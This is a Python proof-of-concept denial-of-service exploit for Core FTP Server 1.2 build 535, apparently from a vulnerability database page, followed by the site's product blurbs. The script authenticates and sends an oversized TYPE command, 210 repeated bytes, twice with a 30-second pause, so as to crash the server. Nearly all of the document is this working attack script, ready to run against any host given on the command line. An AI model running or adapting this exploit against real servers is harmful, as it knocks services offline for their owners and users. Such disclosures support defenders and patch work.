`#!/usr/bin/python
import socket,sys,time
def Usage():
print ("Core FTP Server Version 1.2, build 535, 32-bit - Crash P.O.C.")
print ("Usage: ./coreftp_dos.py <host> <port> <username> <password>")
print ("Ex: ./coreftp_dos.py 192.168.10.10 21 ftp ftp\n")
if len(sys.argv) <> 5:
Usage()
sys.exit(1)
else:
host=sys.argv[1]
port=sys.argv[2]
user=sys.argv[3]
passwd=sys.argv[4]
evil = '\x41' * 210
print "[+] Trying to crash Core FTP server with " + str(len(evil)) + " buffer bytes"
print "[+] Host: " + host + " Port: " + port + " User: " + user + " Pass: " + passwd
print "[+] Attempting to connect to the remote Core FTP Server..."
first = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port=int(port)
try:
connect = first.connect((host, port))
except:
print "[-] There was an error while trying to connect to the remote FTP Server"
sys.exit(1)
print "[+] Connection to remote server successfully... now trying to authenticate"
first.recv(1024)
first.send('USER ' + user + '\r\n')
first.recv(1024)
first.send('PASS ' + passwd + '\r\n')
first.recv(1024)
first.send('dir\r\n');
first.send('TYPE ' + evil + '\r\n')
try:
first.recv(1024)
except:
print "[-] Couldn\'t authenticate in the remote FTP server"
sys.exit(1)
print "[+] First buffer was sent, waiting 30 seconds to send a second time with some more bad data..."
first.close()
second = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
time.sleep(30)
try:
connect = second.connect((host, port))
except:
print "[-] FTP Server isn\'t responding... it might had successfully crashed."
sys.exit(1)
second.send('USER ' + user + '\r\n')
second.recv(1024)
second.send('PASS ' + passwd + '\r\n')
second.recv(1024)
second.send('TYPE ' + evil + '\r\n')
second.recv(1024)
print "[+] By now, Core FTP Server should had crashed and will not accept new connections."
second.close()
sys.exit(0)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation